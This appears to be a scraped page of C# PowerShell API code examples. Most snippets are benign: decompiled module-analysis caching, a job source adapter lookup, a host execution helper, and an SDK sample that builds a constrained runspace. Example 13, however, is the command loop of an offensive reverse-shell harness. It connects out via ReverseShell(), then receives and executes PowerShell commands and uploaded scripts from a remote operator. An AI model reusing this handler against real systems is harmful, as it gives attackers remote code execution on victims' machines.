                            ModuleIntrinsics.Tracer.WriteLine(string.Concat(new object[] { "Cache entry for ", modulePath, " was out of date. Cached on ", entry.LastWriteTime, ", last updated on ", lastWriteTime, ". Re-analyzing." }), new object[0]);
                            itemCache.Remove(modulePath);
                        }
                    }
                }
            }
            string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Windows\PowerShell\CommandAnalysis\");

            ModuleIntrinsics.Tracer.WriteLine("Entering mutex PowerShell_CommandAnalysis_Lock", new object[0]);
            Dictionary <string, List <CommandTypes> > dictionary = null;

            using (Mutex mutex = new Mutex(false, "PowerShell_CommandAnalysis_Lock"))
            {
                mutex.WaitOne();
                try
                {
                    string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(modulePath);
                    dictionary = Get(basePath, modulePath);
                    if (!testOnly && (dictionary == null))
                    {
                        try
                        {
                            if (modulesBeingAnalyzed.Contains(modulePath))
                            {
                                ModuleIntrinsics.Tracer.WriteLine(modulePath + " is already being analyzed. Exiting.", new object[0]);
                                return(null);
                            }
                            ModuleIntrinsics.Tracer.WriteLine("Registering " + modulePath + " for analysis.", new object[0]);
                            modulesBeingAnalyzed.Add(modulePath);
                            CommandInfo commandInfo = new CmdletInfo("Get-Module", typeof(GetModuleCommand), null, null, context);
                            Command     command     = new Command(commandInfo);
                            ModuleIntrinsics.Tracer.WriteLine("Listing modules.", new object[0]);
                            PowerShell.Create(RunspaceMode.CurrentRunspace).AddCommand(command).AddParameter("List", true).AddParameter("Name", fileNameWithoutExtension).AddParameter("ErrorAction", ActionPreference.Ignore).AddParameter("WarningAction", ActionPreference.Ignore).AddParameter("Verbose", false).AddParameter("Debug", false).Invoke <PSModuleInfo>();
                        }
                        catch (Exception exception)
                        {
                            ModuleIntrinsics.Tracer.WriteLine("Module analysis generated an exception: " + exception.ToString(), new object[0]);
                            CommandProcessorBase.CheckForSevereException(exception);
                        }
                        finally
                        {
                            ModuleIntrinsics.Tracer.WriteLine("Unregistering " + modulePath + " for analysis.", new object[0]);
                            modulesBeingAnalyzed.Remove(modulePath);
                        }
                        dictionary = Get(basePath, modulePath);
                    }
                    if (dictionary != null)
                    {
                        lock (itemCache)
                        {
                            ModuleIntrinsics.Tracer.WriteLine("Caching " + dictionary.Count + " exported commands.", new object[0]);
                            itemCache[modulePath] = dictionary;
                            goto Label_037E;
                        }
                    }
                    ModuleIntrinsics.Tracer.WriteLine("Detected an error while retrieving exported commands.", new object[0]);
                }
                finally
                {
                    ModuleIntrinsics.Tracer.WriteLine("Releasing mutex.", new object[0]);
                    mutex.ReleaseMutex();
                }
            }
Label_037E:
            if (dictionary != null)
            {
                ModuleIntrinsics.Tracer.WriteLine("Returning " + dictionary.Count + " exported commands.", new object[0]);
                return(dictionary);
            }
            ModuleIntrinsics.Tracer.WriteLine("Returning NULL for exported commands", new object[0]);
            return(dictionary);
        }
Ejemplo n.º 13
0
        private void run()
        {
            Debug.WriteLine("[DEBUG] Starting handler");

            // Define some helpful triggers and flags
            char   HARNESS_CMD_CHAR = '^';
            string BEGINFILE_TAG    = "<rf>";
            string ENDFILE_TAG      = "</rf>";
            string USER_BREAK       = "end";
            bool   MULTILINE_FLAG   = false;
            bool   REMOTEFILE_FLAG  = false;

            // Buffer for reading data
            byte[] bytes;

            // Holds string representation of data send over the wire
            string data = "";

            // Used to accumulate data from imported file
            string data_chunk = "";

            // Replace ReverseShell() with BindShell() as needed
            this.client = ReverseShell();
            this.stream = client.GetStream();

            using (this.ps = PowerShell.Create())
            {
                while (!this.ShouldExit)
                {
                    if (stream.CanRead)
                    {
                        bytes = new byte[client.ReceiveBufferSize];

                        int i;
                        // Loop to receive all the data sent by the client.
                        while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
                        {
                            // Deal with multiline script by prompting for more input (e.g. >>)
                            if (MULTILINE_FLAG)
                            {
                                data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                // Check to see if the user wants to break out of multiline
                                if (data_chunk == HARNESS_CMD_CHAR + USER_BREAK)
                                {
                                    ProcessPS(data);
                                    MULTILINE_FLAG = false;
                                    data           = "";
                                }
                                else
                                {
                                    data += data_chunk;
                                }
                            }
                            else if (REMOTEFILE_FLAG)
                            {
                                // Need to check and see if the script is done transfering
                                data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                if (data_chunk.ToLower() == ENDFILE_TAG)
                                {
                                    Debug.WriteLine("[DEBUG] File received");

                                    if (IsValid(data))
                                    {
                                        ProcessPS(data);
                                    }
                                    else
                                    {
                                        this.host.UI.WriteLine("[!] Transfer errors found. Try import again");
                                    }

                                    data            = "";
                                    REMOTEFILE_FLAG = false;
                                }
                                else
                                {
                                    data      += data_chunk;
                                    data_chunk = "";
                                }
                            }
                            else
                            {
                                data = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                if (data.ToLower() == "exit" || data.ToLower() == "quit")
                                {
                                    break;
                                }
                                if (data.ToLower() == BEGINFILE_TAG)
                                {
                                    Debug.WriteLine("[DEBUG] Receiving File");

                                    REMOTEFILE_FLAG = true;
                                    data            = "";
                                }

                                if (data != "" && !REMOTEFILE_FLAG)
                                {
                                    Debug.WriteLine("[DEBUG] Command Received: " + data.ToString());

                                    // ProcessLocal is reserved for non-PS Harness commands that require special handling
                                    if (data[0] == HARNESS_CMD_CHAR)
                                    {
                                        ProcessLocal(data);
                                        data = "";
                                    }
                                }
                            }

                            // Determine how we deal with the data received
                            if (!REMOTEFILE_FLAG)
                            {
                                if (IsValid(data))
                                {
                                    ProcessPS(data);
                                    data           = "";
                                    MULTILINE_FLAG = false;
                                }
                                else
                                {
                                    Debug.WriteLine("[DEBUG] Incomplete script or parse error");
                                    MULTILINE_FLAG = true;
                                    this.host.UI.Write(">> ");
                                }
                            }
                        }

                        // Shutdown and end connection
                        client.Close();

                        Debug.WriteLine("[DEBUG] Connection Closed");

                        break;
                    }
                }
            }
        }
Ejemplo n.º 14
0
        private JobSourceAdapter GetJobSourceAdapter(JobDefinition definition)
        {
            string           jobSourceAdapterTypeName;
            JobSourceAdapter adapter;

            if (!string.IsNullOrEmpty(definition.JobSourceAdapterTypeName))
            {
                jobSourceAdapterTypeName = definition.JobSourceAdapterTypeName;
            }
            else
            {
                if (definition.JobSourceAdapterType == null)
                {
                    throw new InvalidOperationException(ResourceManagerCache.GetResourceString("RemotingErrorIdStrings", "JobSourceAdapterNotFound"));
                }
                jobSourceAdapterTypeName = definition.JobSourceAdapterType.Name;
            }
            bool flag = false;

            lock (this._syncObject)
            {
                flag = this._sourceAdapters.TryGetValue(jobSourceAdapterTypeName, out adapter);
            }
            if (flag)
            {
                return(adapter);
            }
            if (string.IsNullOrEmpty(definition.ModuleName))
            {
                throw new InvalidOperationException(ResourceManagerCache.GetResourceString("RemotingErrorIdStrings", "JobSourceAdapterNotFound"));
            }
            Exception innerException = null;

            try
            {
                InitialSessionState initialSessionState = InitialSessionState.CreateDefault2();
                initialSessionState.Commands.Clear();
                initialSessionState.Formats.Clear();
                initialSessionState.Commands.Add(new SessionStateCmdletEntry("Import-Module", typeof(ImportModuleCommand), null));
                using (PowerShell shell = PowerShell.Create(initialSessionState))
                {
                    shell.AddCommand("Import-Module");
                    shell.AddParameter("Name", definition.ModuleName);
                    shell.Invoke();
                    if (shell.ErrorBuffer.Count > 0)
                    {
                        innerException = shell.ErrorBuffer[0].Exception;
                    }
                }
            }
            catch (RuntimeException exception2)
            {
                innerException = exception2;
            }
            catch (InvalidOperationException exception3)
            {
                innerException = exception3;
            }
            catch (ScriptCallDepthException exception4)
            {
                innerException = exception4;
            }
            catch (SecurityException exception5)
            {
                innerException = exception5;
            }
            catch (ThreadAbortException exception6)
            {
                innerException = exception6;
            }
            if (innerException != null)
            {
                throw new InvalidOperationException(ResourceManagerCache.GetResourceString("RemotingErrorIdStrings", "JobSourceAdapterNotFound"), innerException);
            }
            return(this.AssertAndReturnJobSourceAdapter(jobSourceAdapterTypeName));
        }
Ejemplo n.º 15
0
        /// <summary>
        /// A helper class that builds and executes a pipeline that writes to the default output path, depending on the value of <paramref name="quiet"/>. Any
        /// exceptions that are thrown are just passed to the caller.
        /// </summary>
        /// <param name="command">The script to run.</param>
        /// <param name="input">Any input arguments to pass to the script. If null then nothing is passed in.</param>
        /// <param name="quiet">Whether or not the results of the call should be written to the console.</param>
        /// <returns>The results of the call to _currentPowerShell.<see cref="PowerShell.Invoke()"/>.</returns>
        protected Collection <PSObject> ExecuteHelper(string command, object input, bool quiet = false)
        {
            // Ignore empty command lines.
            if (String.IsNullOrEmpty(command))
            {
                return(null);
            }

            lock (_executionLock)
            {
                // Create the pipeline object and make it available to the Ctrl-C handle through the _currentPowerShell instance variable.
                lock (_instanceLock)
                {
                    _currentPowerShell = Shell.Create();
                }

                // Create a pipeline for this execution, and then place the result in the _currentPowerShell variable so it is available to be stopped.
                try
                {
                    _currentPowerShell.Runspace = Runspace;
                    _currentPowerShell.AddScript(command);

                    if (!quiet)
                    {
                        // Add the default outputter to the end of the pipe and then call the MergeMyResults method to merge the output and error streams from
                        // the pipeline. This will result in the output being written using the PSHost and PSHostUserInterface classes instead of returning
                        // objects to the host application.
                        _currentPowerShell.AddCommand("out-default");
                        _currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
                    }

                    // If there is any input pass it in, otherwise just invoke the the pipeline.
                    if (input != null)
                    {
                        return(_currentPowerShell.Invoke(
                                   new object[]
                        {
                            input
                        }));
                    }

                    else
                    {
                        return(_currentPowerShell.Invoke());
                    }
                }

                finally
                {
                    // Dispose the PowerShell object and set _currentPowerShell to null. It is locked because _currentPowerShell may be accessed by the Ctrl-C
                    // handler.
                    lock (_instanceLock)
                    {
                        if (_currentPowerShell != null)
                        {
                            _currentPowerShell.Dispose();
                            _currentPowerShell = null;
                        }
                    }
                }
            }
        }
Ejemplo n.º 16
0
        /// <summary>
        /// This sample uses the ProxyCommand class to create a proxy command that
        /// calls an existing cmdlet, but restricts the set of available parameters.
        /// The proxy command is then added to an intial session state that is used to
        /// create a contrained runspace. This means that the user can access the cmdlet
        /// through the proxy command.
        /// </summary>
        /// <remarks>
        /// This sample demonstrates the following:
        /// 1. Creating a CommandMetadata object that describes the metadata of an
        ///    existing cmdlet.
        /// 2. Modifying the cmdlet metadata to remove a parameter of the cmdlet.
        /// 3. Adding the cmdlet to an initial session state and making it private.
        /// 4. Creating a proxy function that calls the existing cmdlet, but exposes
        ///    only a restricted set of parameters.
        /// 6. Adding the proxy function to the initial session state.
        /// 7. Calling the private cmdlet and the proxy function to demonstrate the
        ///    constrained runspace.
        /// </remarks>
        private static void Main()
        {
            // Create a default intial session state. The default inital session state
            // includes all the elements that are provided by Windows PowerShell.
            InitialSessionState iss = InitialSessionState.CreateDefault();

            // Add the get-proc cmdlet to the initial session state.
            SessionStateCmdletEntry cmdletEntry = new SessionStateCmdletEntry("get-proc", typeof(GetProcCommand), null);

            iss.Commands.Add(cmdletEntry);

            // Make the cmdlet private so that it is not accessable.
            cmdletEntry.Visibility = SessionStateEntryVisibility.Private;

            // Set the language mode of the intial session state to NoLanguge to
            //prevent users from using language features. Only the invocation of
            // public commands is allowed.
            iss.LanguageMode = PSLanguageMode.NoLanguage;

            // Create the proxy command using cmdlet metadata to expose the
            // get-proc cmdlet.
            CommandMetadata cmdletMetadata = new CommandMetadata(typeof(GetProcCommand));

            // Remove one of the parameters from the command metadata.
            cmdletMetadata.Parameters.Remove("Name");

            // Generate the body of a proxy function that calls the original cmdlet,
            // but does not have the removed parameter.
            string bodyOfProxyFunction = ProxyCommand.Create(cmdletMetadata);

            // Add the proxy function to the initial session state. The name of the proxy
            // function can be the same as the name of the cmdlet, but to clearly
            // demonstrate that the original cmdlet is not available a different name is
            // used for the proxy function.
            iss.Commands.Add(new SessionStateFunctionEntry("get-procProxy", bodyOfProxyFunction));

            // Create the constrained runspace using the intial session state.
            using (Runspace myRunspace = RunspaceFactory.CreateRunspace(iss))
            {
                myRunspace.Open();

                // Call the private cmdlet to demonstrate that it is not available.
                try
                {
                    using (PowerShell powershell = PowerShell.Create())
                    {
                        powershell.Runspace = myRunspace;
                        powershell.AddCommand("get-proc").AddParameter("Name", "*explore*");
                        powershell.Invoke();
                    }
                }
                catch (CommandNotFoundException e)
                {
                    System.Console.WriteLine(
                        "Invoking 'get-proc' failed as expected: {0}: {1}",
                        e.GetType().FullName,
                        e.Message);
                }

                // Call the proxy function to demonstrate that the -Name parameter is
                // not available.
                try
                {
                    using (PowerShell powershell = PowerShell.Create())
                    {
                        powershell.Runspace = myRunspace;
                        powershell.AddCommand("get-procProxy").AddParameter("Name", "idle");
                        powershell.Invoke();
                    }
                }
                catch (ParameterBindingException e)
                {
                    System.Console.WriteLine(
                        "\nInvoking 'get-procProxy -Name idle' failed as expected: {0}: {1}",
                        e.GetType().FullName,
                        e.Message);
                }

                // Call the proxy function to demonstrate that it calls into the
                // private cmdlet to retrieve the processes.
                using (PowerShell powershell = PowerShell.Create())
                {
                    powershell.Runspace = myRunspace;
                    powershell.AddCommand("get-procProxy");
                    List <Process> processes = new List <Process>(powershell.Invoke <Process>());
                    System.Console.WriteLine(
                        "\nInvoking the get-procProxy function called into the get-proc cmdlet and returned {0} processes",
                        processes.Count);
                }

                // Close the runspace to release resources.
                myRunspace.Close();
            }

            System.Console.WriteLine("Hit any key to exit...");
            System.Console.ReadKey();
        }